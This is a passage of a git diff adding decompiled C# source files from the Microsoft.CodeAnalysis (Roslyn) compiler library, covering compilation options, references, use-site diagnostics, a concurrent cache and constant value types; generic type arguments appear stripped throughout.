abstract CompilationOptions CommonWithSyntaxTreeOptionsProvider(SyntaxTreeOptionsProvider? resolver); + + protected abstract CompilationOptions CommonWithMetadataReferenceResolver(MetadataReferenceResolver? resolver); + + protected abstract CompilationOptions CommonWithAssemblyIdentityComparer(AssemblyIdentityComparer? comparer); + + protected abstract CompilationOptions CommonWithStrongNameProvider(StrongNameProvider? provider); + + protected abstract CompilationOptions CommonWithGeneralDiagnosticOption(ReportDiagnostic generalDiagnosticOption); + + protected abstract CompilationOptions CommonWithSpecificDiagnosticOptions(ImmutableDictionary? specificDiagnosticOptions); + + protected abstract CompilationOptions CommonWithSpecificDiagnosticOptions(IEnumerable> specificDiagnosticOptions); + + protected abstract CompilationOptions CommonWithReportSuppressedDiagnostics(bool reportSuppressedDiagnostics); + + protected abstract CompilationOptions CommonWithModuleName(string? moduleName); + + protected abstract CompilationOptions CommonWithMainTypeName(string? mainTypeName); + + protected abstract CompilationOptions CommonWithScriptClassName(string scriptClassName); + + protected abstract CompilationOptions CommonWithCryptoKeyContainer(string? cryptoKeyContainer); + + protected abstract CompilationOptions CommonWithCryptoKeyFile(string? cryptoKeyFile); + + protected abstract CompilationOptions CommonWithCryptoPublicKey(ImmutableArray cryptoPublicKey); + + protected abstract CompilationOptions CommonWithDelaySign(bool? delaySign); + + protected abstract CompilationOptions CommonWithCheckOverflow(bool checkOverflow); + + protected abstract CompilationOptions CommonWithMetadataImportOptions(MetadataImportOptions value); + + [Obsolete] + protected abstract CompilationOptions CommonWithFeatures(ImmutableArray features); + + internal abstract DeterministicKeyBuilder CreateDeterministicKeyBuilder(); + + internal abstract void ValidateOptions(ArrayBuilder builder); + + internal void ValidateOptions(ArrayBuilder builder, CommonMessageProvider messageProvider) + { + if (!CryptoPublicKey.IsEmpty) + { + if (CryptoKeyFile != null) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MutuallyExclusiveOptions, Location.None, "CryptoPublicKey", "CryptoKeyFile")); + } + if (CryptoKeyContainer != null) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MutuallyExclusiveOptions, Location.None, "CryptoPublicKey", "CryptoKeyContainer")); + } + } + if (PublicSign) + { + if (CryptoKeyFile != null && !PathUtilities.IsAbsolute(CryptoKeyFile)) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_OptionMustBeAbsolutePath, Location.None, "CryptoKeyFile")); + } + if (CryptoKeyContainer != null) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MutuallyExclusiveOptions, Location.None, "PublicSign", "CryptoKeyContainer")); + } + if (DelaySign == true) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_MutuallyExclusiveOptions, Location.None, "PublicSign", "DelaySign")); + } + } + } + + public abstract override bool Equals(object? obj); + + protected bool EqualsHelper([NotNullWhen(true)] CompilationOptions? other) + { + if ((object)other == null) + { + return false; + } + if (CheckOverflow == other.CheckOverflow && ConcurrentBuild == other.ConcurrentBuild && Deterministic == other.Deterministic && CurrentLocalTime == other.CurrentLocalTime && DebugPlusMode == other.DebugPlusMode && string.Equals(CryptoKeyContainer, other.CryptoKeyContainer, StringComparison.Ordinal) && string.Equals(CryptoKeyFile, other.CryptoKeyFile, StringComparison.Ordinal) && CryptoPublicKey.SequenceEqual(other.CryptoPublicKey) && DelaySign == other.DelaySign && GeneralDiagnosticOption == other.GeneralDiagnosticOption && string.Equals(MainTypeName, other.MainTypeName, StringComparison.Ordinal) && MetadataImportOptions == other.MetadataImportOptions && ReferencesSupersedeLowerVersions == other.ReferencesSupersedeLowerVersions && string.Equals(ModuleName, other.ModuleName, StringComparison.Ordinal) && OptimizationLevel == other.OptimizationLevel && OutputKind == other.OutputKind && Platform == other.Platform && ReportSuppressedDiagnostics == other.ReportSuppressedDiagnostics && string.Equals(ScriptClassName, other.ScriptClassName, StringComparison.Ordinal) && SpecificDiagnosticOptions.SequenceEqual>(other.SpecificDiagnosticOptions, (KeyValuePair left, KeyValuePair right) => left.Key == right.Key && left.Value == right.Value) && WarningLevel == other.WarningLevel && object.Equals(MetadataReferenceResolver, other.MetadataReferenceResolver) && object.Equals(XmlReferenceResolver, other.XmlReferenceResolver) && object.Equals(SourceReferenceResolver, other.SourceReferenceResolver) && object.Equals(SyntaxTreeOptionsProvider, other.SyntaxTreeOptionsProvider) && object.Equals(StrongNameProvider, other.StrongNameProvider) && object.Equals(AssemblyIdentityComparer, other.AssemblyIdentityComparer) && PublicSign == other.PublicSign) + { + return NullableContextOptions == other.NullableContextOptions; + } + return false; + } + + public sealed override int GetHashCode() + { + if (_hashCode == 0) + { + int num = ComputeHashCode(); + _hashCode = ((num == 0) ? 1 : num); + } + return _hashCode; + } + + protected abstract int ComputeHashCode(); + + protected int GetHashCodeHelper() + { + return Hash.Combine(CheckOverflow, Hash.Combine(ConcurrentBuild, Hash.Combine(Deterministic, Hash.Combine(CurrentLocalTime.GetHashCode(), Hash.Combine(DebugPlusMode, Hash.Combine((CryptoKeyContainer != null) ? StringComparer.Ordinal.GetHashCode(CryptoKeyContainer) : 0, Hash.Combine((CryptoKeyFile != null) ? StringComparer.Ordinal.GetHashCode(CryptoKeyFile) : 0, Hash.Combine(Hash.CombineValues(CryptoPublicKey, 16), Hash.Combine((int)GeneralDiagnosticOption, Hash.Combine((MainTypeName != null) ? StringComparer.Ordinal.GetHashCode(MainTypeName) : 0, Hash.Combine((int)MetadataImportOptions, Hash.Combine(ReferencesSupersedeLowerVersions, Hash.Combine((ModuleName != null) ? StringComparer.Ordinal.GetHashCode(ModuleName) : 0, Hash.Combine((int)OptimizationLevel, Hash.Combine((int)OutputKind, Hash.Combine((int)Platform, Hash.Combine(ReportSuppressedDiagnostics, Hash.Combine((ScriptClassName != null) ? StringComparer.Ordinal.GetHashCode(ScriptClassName) : 0, Hash.Combine(Hash.CombineValues(SpecificDiagnosticOptions), Hash.Combine(WarningLevel, Hash.Combine(MetadataReferenceResolver, Hash.Combine(XmlReferenceResolver, Hash.Combine(SourceReferenceResolver, Hash.Combine(SyntaxTreeOptionsProvider, Hash.Combine(StrongNameProvider, Hash.Combine(AssemblyIdentityComparer, Hash.Combine(PublicSign, Hash.Combine((int)NullableContextOptions, 0)))))))))))))))))))))))))))); + } + + public static bool operator ==(CompilationOptions? left, CompilationOptions? right) + { + return object.Equals(left, right); + } + + public static bool operator !=(CompilationOptions? left, CompilationOptions? right) + { + return !object.Equals(left, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationReference.cs new file mode 100644 index 0000000..bd25452 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationReference.cs @@ -0,0 +1,103 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class CompilationReference : MetadataReference, IEquatable +{ + public Compilation Compilation => CompilationCore; + + internal abstract Compilation CompilationCore { get; } + + public override string? Display => Compilation.AssemblyName; + + internal CompilationReference(MetadataReferenceProperties properties) + : base(properties) + { + } + + internal static MetadataReferenceProperties GetProperties(Compilation compilation, ImmutableArray aliases, bool embedInteropTypes) + { + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (compilation.IsSubmission) + { + throw new NotSupportedException(CodeAnalysisResources.CannotCreateReferenceToSubmission); + } + if (compilation.Options.OutputKind == OutputKind.NetModule) + { + throw new NotSupportedException(CodeAnalysisResources.CannotCreateReferenceToModule); + } + return new MetadataReferenceProperties(MetadataImageKind.Assembly, aliases, embedInteropTypes); + } + + public new CompilationReference WithAliases(IEnumerable aliases) + { + return WithAliases(ImmutableArray.CreateRange(aliases)); + } + + public new CompilationReference WithAliases(ImmutableArray aliases) + { + return WithProperties(base.Properties.WithAliases(aliases)); + } + + public new CompilationReference WithEmbedInteropTypes(bool value) + { + return WithProperties(base.Properties.WithEmbedInteropTypes(value)); + } + + public new CompilationReference WithProperties(MetadataReferenceProperties properties) + { + if (properties == base.Properties) + { + return this; + } + if (properties.Kind == MetadataImageKind.Module) + { + throw new ArgumentException(CodeAnalysisResources.CannotCreateReferenceToModule); + } + return WithPropertiesImpl(properties); + } + + internal sealed override MetadataReference WithPropertiesImplReturningMetadataReference(MetadataReferenceProperties properties) + { + if (properties.Kind == MetadataImageKind.Module) + { + throw new NotSupportedException(CodeAnalysisResources.CannotCreateReferenceToModule); + } + return WithPropertiesImpl(properties); + } + + internal abstract CompilationReference WithPropertiesImpl(MetadataReferenceProperties properties); + + public bool Equals(CompilationReference? other) + { + if (other == null) + { + return false; + } + if (this == other) + { + return true; + } + if (object.Equals(Compilation, other.Compilation)) + { + return object.Equals(base.Properties, other.Properties); + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as CompilationReference); + } + + public override int GetHashCode() + { + return Hash.Combine(Compilation.GetHashCode(), base.Properties.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationStage.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationStage.cs new file mode 100644 index 0000000..2edacd4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationStage.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal enum CompilationStage +{ + Parse, + Declare, + Compile +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerFeatureRequiredFeatures.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerFeatureRequiredFeatures.cs new file mode 100644 index 0000000..a269dbd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerFeatureRequiredFeatures.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum CompilerFeatureRequiredFeatures +{ + None = 0, + RefStructs = 1, + RequiredMembers = 2 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerSyntaxTreeOptionsProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerSyntaxTreeOptionsProvider.cs new file mode 100644 index 0000000..2b54582 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilerSyntaxTreeOptionsProvider.cs @@ -0,0 +1,77 @@ +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CompilerSyntaxTreeOptionsProvider : SyntaxTreeOptionsProvider +{ + private readonly struct Options + { + public readonly GeneratedKind IsGenerated; + + public readonly ImmutableDictionary DiagnosticOptions; + + public Options(AnalyzerConfigOptionsResult? result) + { + if (result.HasValue) + { + AnalyzerConfigOptionsResult valueOrDefault = result.GetValueOrDefault(); + DiagnosticOptions = valueOrDefault.TreeOptions; + IsGenerated = GeneratedCodeUtilities.GetIsGeneratedCodeFromOptions(valueOrDefault.AnalyzerOptions); + } + else + { + DiagnosticOptions = SyntaxTree.EmptyDiagnosticOptions; + IsGenerated = GeneratedKind.Unknown; + } + } + } + + private readonly ImmutableDictionary _options; + + private readonly AnalyzerConfigOptionsResult _globalOptions; + + public CompilerSyntaxTreeOptionsProvider(SyntaxTree?[] trees, ImmutableArray results, AnalyzerConfigOptionsResult globalResults) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + for (int i = 0; i < trees.Length; i++) + { + if (trees[i] != null) + { + builder.Add(trees[i], new Options(results.IsDefault ? ((AnalyzerConfigOptionsResult?)null) : new AnalyzerConfigOptionsResult?(results[i]))); + } + } + _options = builder.ToImmutableDictionary(); + _globalOptions = globalResults; + } + + public override GeneratedKind IsGenerated(SyntaxTree tree, CancellationToken _) + { + if (!_options.TryGetValue(tree, out var value)) + { + return GeneratedKind.Unknown; + } + return value.IsGenerated; + } + + public override bool TryGetDiagnosticValue(SyntaxTree tree, string diagnosticId, CancellationToken _, out ReportDiagnostic severity) + { + if (_options.TryGetValue(tree, out var value)) + { + return value.DiagnosticOptions.TryGetValue(diagnosticId, out severity); + } + severity = ReportDiagnostic.Default; + return false; + } + + public override bool TryGetGlobalDiagnosticValue(string diagnosticId, CancellationToken _, out ReportDiagnostic severity) + { + if (_globalOptions.TreeOptions != null) + { + return _globalOptions.TreeOptions.TryGetValue(diagnosticId, out severity); + } + severity = ReportDiagnostic.Default; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompoundUseSiteInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompoundUseSiteInfo.cs new file mode 100644 index 0000000..04ce651 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompoundUseSiteInfo.cs @@ -0,0 +1,260 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal struct CompoundUseSiteInfo where TAssemblySymbol : class, IAssemblySymbolInternal +{ + private enum DiscardLevel : byte + { + None, + Dependencies, + DiagnosticsAndDependencies + } + + private bool _hasErrors; + + private readonly DiscardLevel _discardLevel; + + private HashSet? _diagnostics; + + private HashSet? _dependencies; + + private readonly TAssemblySymbol? _assemblyBeingBuilt; + + public static CompoundUseSiteInfo Discarded => new CompoundUseSiteInfo(DiscardLevel.DiagnosticsAndDependencies); + + public static CompoundUseSiteInfo DiscardedDependencies => new CompoundUseSiteInfo(DiscardLevel.Dependencies); + + public TAssemblySymbol? AssemblyBeingBuilt => _assemblyBeingBuilt; + + private DiscardLevel DiscardLevelWithValidation => _discardLevel; + + public bool AccumulatesDiagnostics => DiscardLevelWithValidation != DiscardLevel.DiagnosticsAndDependencies; + + public IReadOnlyCollection? Diagnostics => _diagnostics; + + public bool AccumulatesDependencies => DiscardLevelWithValidation == DiscardLevel.None; + + public IReadOnlyCollection? Dependencies => _dependencies; + + public bool HasErrors => _hasErrors; + + public CompoundUseSiteInfo(TAssemblySymbol assemblyBeingBuilt) + { + this = default(CompoundUseSiteInfo); + _assemblyBeingBuilt = assemblyBeingBuilt; + } + + public CompoundUseSiteInfo(BindingDiagnosticBag? futureDestination, TAssemblySymbol assemblyBeingBuilt) + { + this = default(CompoundUseSiteInfo); + if (futureDestination == null) + { + _discardLevel = DiscardLevel.DiagnosticsAndDependencies; + return; + } + if (!futureDestination.AccumulatesDependencies) + { + _discardLevel = DiscardLevel.Dependencies; + return; + } + _discardLevel = DiscardLevel.None; + _assemblyBeingBuilt = assemblyBeingBuilt; + } + + public CompoundUseSiteInfo(CompoundUseSiteInfo template) + { + this = default(CompoundUseSiteInfo); + _discardLevel = template._discardLevel; + _assemblyBeingBuilt = template._assemblyBeingBuilt; + } + + private CompoundUseSiteInfo(DiscardLevel discardLevel) + { + this = default(CompoundUseSiteInfo); + _discardLevel = discardLevel; + } + + [Conditional("DEBUG")] + private readonly void AssertInternalConsistency() + { + } + + public void AddDiagnostics(UseSiteInfo info) + { + if (AccumulatesDiagnostics && HashSetExtensions.InitializeAndAdd(ref _diagnostics, info.DiagnosticInfo)) + { + DiagnosticInfo? diagnosticInfo = info.DiagnosticInfo; + if (diagnosticInfo != null && diagnosticInfo.Severity == DiagnosticSeverity.Error) + { + RecordPresenceOfAnError(); + } + } + } + + private void RecordPresenceOfAnError() + { + if (!_hasErrors) + { + _hasErrors = true; + _dependencies = null; + } + } + + public void AddDiagnostics(ICollection? diagnostics) + { + if (!AccumulatesDiagnostics || diagnostics.IsNullOrEmpty()) + { + return; + } + if (_diagnostics == null) + { + _diagnostics = new HashSet(); + } + foreach (DiagnosticInfo diagnostic in diagnostics) + { + if (_diagnostics.Add(diagnostic) && diagnostic != null && diagnostic.Severity == DiagnosticSeverity.Error) + { + RecordPresenceOfAnError(); + } + } + } + + public void AddDiagnostics(IReadOnlyCollection? diagnostics) + { + if (!AccumulatesDiagnostics || diagnostics.IsNullOrEmpty()) + { + return; + } + if (_diagnostics == null) + { + _diagnostics = new HashSet(); + } + foreach (DiagnosticInfo diagnostic in diagnostics) + { + if (_diagnostics.Add(diagnostic) && diagnostic != null && diagnostic.Severity == DiagnosticSeverity.Error) + { + RecordPresenceOfAnError(); + } + } + } + + public void AddDiagnostics(ImmutableArray diagnostics) + { + if (!AccumulatesDiagnostics || diagnostics.IsDefaultOrEmpty) + { + return; + } + if (_diagnostics == null) + { + _diagnostics = new HashSet(); + } + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticInfo current = enumerator.Current; + if (_diagnostics.Add(current) && current != null && current.Severity == DiagnosticSeverity.Error) + { + RecordPresenceOfAnError(); + } + } + } + + public void AddDependencies(UseSiteInfo info) + { + if (!_hasErrors && AccumulatesDependencies) + { + if (info.PrimaryDependency != _assemblyBeingBuilt) + { + HashSetExtensions.InitializeAndAdd(ref _dependencies, info.PrimaryDependency); + } + ImmutableHashSet? secondaryDependencies = info.SecondaryDependencies; + if (secondaryDependencies != null && !secondaryDependencies.IsEmpty && (_assemblyBeingBuilt == null || info.SecondaryDependencies.AsSingleton() != _assemblyBeingBuilt)) + { + (_dependencies ?? (_dependencies = new HashSet())).AddAll(info.SecondaryDependencies); + } + } + } + + public void AddDependencies(CompoundUseSiteInfo info) + { + if (!_hasErrors && AccumulatesDependencies) + { + AddDependencies(info.Dependencies); + } + } + + public void AddDependencies(ICollection? dependencies) + { + if (!_hasErrors && AccumulatesDependencies && !dependencies.IsNullOrEmpty() && (_assemblyBeingBuilt == null || dependencies.AsSingleton() != _assemblyBeingBuilt)) + { + (_dependencies ?? (_dependencies = new HashSet())).AddAll(dependencies); + } + } + + public void AddDependencies(IReadOnlyCollection? dependencies) + { + if (!_hasErrors && AccumulatesDependencies && !dependencies.IsNullOrEmpty() && (_assemblyBeingBuilt == null || dependencies.AsSingleton() != _assemblyBeingBuilt)) + { + (_dependencies ?? (_dependencies = new HashSet())).AddAll(dependencies); + } + } + + public void AddDependencies(ImmutableArray dependencies) + { + if (!_hasErrors && AccumulatesDependencies && !dependencies.IsDefaultOrEmpty && (_assemblyBeingBuilt == null || dependencies.Length != 1 || dependencies[0] != _assemblyBeingBuilt)) + { + (_dependencies ?? (_dependencies = new HashSet())).AddAll(dependencies); + } + } + + public void MergeAndClear(ref CompoundUseSiteInfo other) + { + if (!AccumulatesDiagnostics) + { + other._diagnostics = null; + other._dependencies = null; + other._hasErrors = false; + return; + } + mergeAndClear(ref _diagnostics, ref other._diagnostics); + if (other._hasErrors) + { + RecordPresenceOfAnError(); + other._hasErrors = false; + } + if (!_hasErrors && AccumulatesDependencies) + { + mergeAndClear(ref _dependencies, ref other._dependencies); + } + else + { + other._dependencies = null; + } + static void mergeAndClear(ref HashSet? self, ref HashSet? reference) + { + if (self == null) + { + self = reference; + } + else if (reference != null) + { + self.AddAll(reference); + } + reference = null; + } + } + + public void Add(UseSiteInfo other) + { + if (AccumulatesDiagnostics) + { + AddDiagnostics(other); + AddDependencies(other); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConcurrentCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConcurrentCache.cs new file mode 100644 index 0000000..b0b0412 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConcurrentCache.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal class ConcurrentCache : CachingBase.Entry> where TKey : notnull +{ + internal class Entry + { + internal readonly int hash; + + internal readonly TKey key; + + internal readonly TValue value; + + internal Entry(int hash, TKey key, TValue value) + { + this.hash = hash; + this.key = key; + this.value = value; + } + } + + private readonly IEqualityComparer _keyComparer; + + public ConcurrentCache(int size, IEqualityComparer keyComparer) + : base(size) + { + _keyComparer = keyComparer; + } + + public ConcurrentCache(int size) + : this(size, (IEqualityComparer)EqualityComparer.Default) + { + } + + public bool TryAdd(TKey key, TValue value) + { + int hashCode = _keyComparer.GetHashCode(key); + int num = hashCode & mask; + Entry entry = entries[num]; + if (entry != null && entry.hash == hashCode && _keyComparer.Equals(entry.key, key)) + { + return false; + } + entries[num] = new Entry(hashCode, key, value); + return true; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + int hashCode = _keyComparer.GetHashCode(key); + int num = hashCode & mask; + Entry entry = entries[num]; + if (entry != null && entry.hash == hashCode && _keyComparer.Equals(entry.key, key)) + { + value = entry.value; + return true; + } + value = default(TValue); + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConsListExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConsListExtensions.cs new file mode 100644 index 0000000..e280378 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConsListExtensions.cs @@ -0,0 +1,24 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class ConsListExtensions +{ + public static ConsList Prepend(this ConsList? list, T head) + { + return new ConsList(head, list ?? ConsList.Empty); + } + + public static bool ContainsReference(this ConsList list, T element) + { + while (list != ConsList.Empty) + { + if ((object)list.Head == (object)element) + { + return true; + } + list = list.Tail; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValue.cs new file mode 100644 index 0000000..03757b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValue.cs @@ -0,0 +1,1574 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata; +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class ConstantValue : IEquatable, IFormattable +{ + private sealed class ConstantValueBad : ConstantValue + { + public static readonly ConstantValueBad Instance = new ConstantValueBad(); + + public override ConstantValueTypeDiscriminator Discriminator => ConstantValueTypeDiscriminator.Bad; + + internal override SpecialType SpecialType => SpecialType.None; + + private ConstantValueBad() + { + } + + public override bool Equals(ConstantValue? other) + { + return (object)this == other; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + internal override string GetValueToDisplay() + { + return "bad"; + } + + public override string ToString(string? format, IFormatProvider? provider) + { + return GetValueToDisplay(); + } + } + + private sealed class ConstantValueNull : ConstantValue + { + public static readonly ConstantValueNull Instance = new ConstantValueNull(); + + public static readonly ConstantValueNull Uninitialized = new ConstantValueNull(); + + public override ConstantValueTypeDiscriminator Discriminator => ConstantValueTypeDiscriminator.Nothing; + + internal override SpecialType SpecialType => SpecialType.None; + + public override string? StringValue => null; + + internal override Rope? RopeValue => null; + + public override bool IsDefaultValue => true; + + private ConstantValueNull() + { + } + + public override bool Equals(ConstantValue? other) + { + return (object)this == other; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + internal override string GetValueToDisplay() + { + if ((object)this != Uninitialized) + { + return "null"; + } + return "unset"; + } + + public override string ToString(string? format, IFormatProvider? provider) + { + return GetValueToDisplay(); + } + } + + private sealed class ConstantValueString : ConstantValue + { + private readonly Rope _value; + + private WeakReference? _constantValueReference; + + public override ConstantValueTypeDiscriminator Discriminator => ConstantValueTypeDiscriminator.String; + + internal override SpecialType SpecialType => SpecialType.System_String; + + public override string StringValue + { + get + { + string target = null; + WeakReference? constantValueReference = _constantValueReference; + if (constantValueReference == null || !constantValueReference.TryGetTarget(out target)) + { + target = _value.ToString(); + _constantValueReference = new WeakReference(target); + } + return target; + } + } + + internal override Rope RopeValue => _value; + + public ConstantValueString(string value) + { + _value = Rope.ForString(value); + } + + public ConstantValueString(Rope value) + { + _value = value; + } + + public override int GetHashCode() + { + return Hash.Combine(base.GetHashCode(), _value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value.Equals(other.RopeValue); + } + return false; + } + + internal override string GetValueToDisplay() + { + if (_value != null) + { + return $"\"{_value}\""; + } + return "null"; + } + + public override string ToString(string? format, IFormatProvider? provider) + { + int num = RopeValue.Length; + if (format != null && int.TryParse(format, out var result)) + { + num = result; + } + if (num >= RopeValue.Length) + { + return $"\"{RopeValue}\""; + } + return "\"" + RopeValue.ToString(Math.Max(num - 3, 0)) + "...\""; + } + } + + private sealed class ConstantValueDecimal : ConstantValue + { + private readonly decimal _value; + + public override ConstantValueTypeDiscriminator Discriminator => ConstantValueTypeDiscriminator.Decimal; + + internal override SpecialType SpecialType => SpecialType.System_Decimal; + + public override decimal DecimalValue => _value; + + public ConstantValueDecimal(decimal value) + { + _value = value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + decimal value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.DecimalValue; + } + return false; + } + } + + private sealed class ConstantValueDateTime : ConstantValue + { + private readonly DateTime _value; + + public override ConstantValueTypeDiscriminator Discriminator => ConstantValueTypeDiscriminator.DateTime; + + internal override SpecialType SpecialType => SpecialType.System_DateTime; + + public override DateTime DateTimeValue => _value; + + public ConstantValueDateTime(DateTime value) + { + _value = value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + DateTime value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.DateTimeValue; + } + return false; + } + } + + private abstract class ConstantValueDiscriminated : ConstantValue + { + private readonly ConstantValueTypeDiscriminator _discriminator; + + public override ConstantValueTypeDiscriminator Discriminator => _discriminator; + + internal override SpecialType SpecialType => GetSpecialType(_discriminator); + + public ConstantValueDiscriminated(ConstantValueTypeDiscriminator discriminator) + { + _discriminator = discriminator; + } + } + + private class ConstantValueDefault : ConstantValueDiscriminated + { + public static readonly ConstantValueDefault SByte = new ConstantValueDefault(ConstantValueTypeDiscriminator.SByte); + + public static readonly ConstantValueDefault Byte = new ConstantValueDefault(ConstantValueTypeDiscriminator.Byte); + + public static readonly ConstantValueDefault Int16 = new ConstantValueDefault(ConstantValueTypeDiscriminator.Int16); + + public static readonly ConstantValueDefault UInt16 = new ConstantValueDefault(ConstantValueTypeDiscriminator.UInt16); + + public static readonly ConstantValueDefault Int32 = new ConstantValueDefault(ConstantValueTypeDiscriminator.Int32); + + public static readonly ConstantValueDefault UInt32 = new ConstantValueDefault(ConstantValueTypeDiscriminator.UInt32); + + public static readonly ConstantValueDefault Int64 = new ConstantValueDefault(ConstantValueTypeDiscriminator.Int64); + + public static readonly ConstantValueDefault UInt64 = new ConstantValueDefault(ConstantValueTypeDiscriminator.UInt64); + + public static readonly ConstantValueDefault NInt = new ConstantValueDefault(ConstantValueTypeDiscriminator.NInt); + + public static readonly ConstantValueDefault NUInt = new ConstantValueDefault(ConstantValueTypeDiscriminator.NUInt); + + public static readonly ConstantValueDefault Char = new ConstantValueDefault(ConstantValueTypeDiscriminator.Char); + + public static readonly ConstantValueDefault Single = new ConstantValueSingleZero(); + + public static readonly ConstantValueDefault Double = new ConstantValueDoubleZero(); + + public static readonly ConstantValueDefault Decimal = new ConstantValueDecimalZero(); + + public static readonly ConstantValueDefault DateTime = new ConstantValueDefault(ConstantValueTypeDiscriminator.DateTime); + + public static readonly ConstantValueDefault Boolean = new ConstantValueDefault(ConstantValueTypeDiscriminator.Boolean); + + public override byte ByteValue => 0; + + public override sbyte SByteValue => 0; + + public override bool BooleanValue => false; + + public override double DoubleValue => 0.0; + + public override float SingleValue => 0f; + + public override decimal DecimalValue => 0m; + + public override char CharValue => '\0'; + + public override DateTime DateTimeValue => default(DateTime); + + public override bool IsDefaultValue => true; + + protected ConstantValueDefault(ConstantValueTypeDiscriminator discriminator) + : base(discriminator) + { + } + + public override bool Equals(ConstantValue? other) + { + return (object)this == other; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + public override string ToString(string? format, IFormatProvider? provider) + { + return "default(" + GetPrimitiveTypeName() + ")"; + } + } + + private sealed class ConstantValueDecimalZero : ConstantValueDefault + { + internal ConstantValueDecimalZero() + : base(ConstantValueTypeDiscriminator.Decimal) + { + } + + public override bool Equals(ConstantValue? other) + { + if ((object)other == this) + { + return true; + } + if ((object)other == null) + { + return false; + } + if (Discriminator == other.Discriminator) + { + return other.DecimalValue == 0m; + } + return false; + } + } + + private sealed class ConstantValueDoubleZero : ConstantValueDefault + { + internal ConstantValueDoubleZero() + : base(ConstantValueTypeDiscriminator.Double) + { + } + + public override bool Equals(ConstantValue? other) + { + if ((object)other == this) + { + return true; + } + if ((object)other == null) + { + return false; + } + if (Discriminator == other.Discriminator) + { + return other.DoubleValue == 0.0; + } + return false; + } + } + + private sealed class ConstantValueSingleZero : ConstantValueDefault + { + internal ConstantValueSingleZero() + : base(ConstantValueTypeDiscriminator.Single) + { + } + + public override bool Equals(ConstantValue? other) + { + if ((object)other == this) + { + return true; + } + if ((object)other == null) + { + return false; + } + if (Discriminator == other.Discriminator) + { + return other.SingleValue == 0f; + } + return false; + } + } + + private class ConstantValueOne : ConstantValueDiscriminated + { + public static readonly ConstantValueOne SByte = new 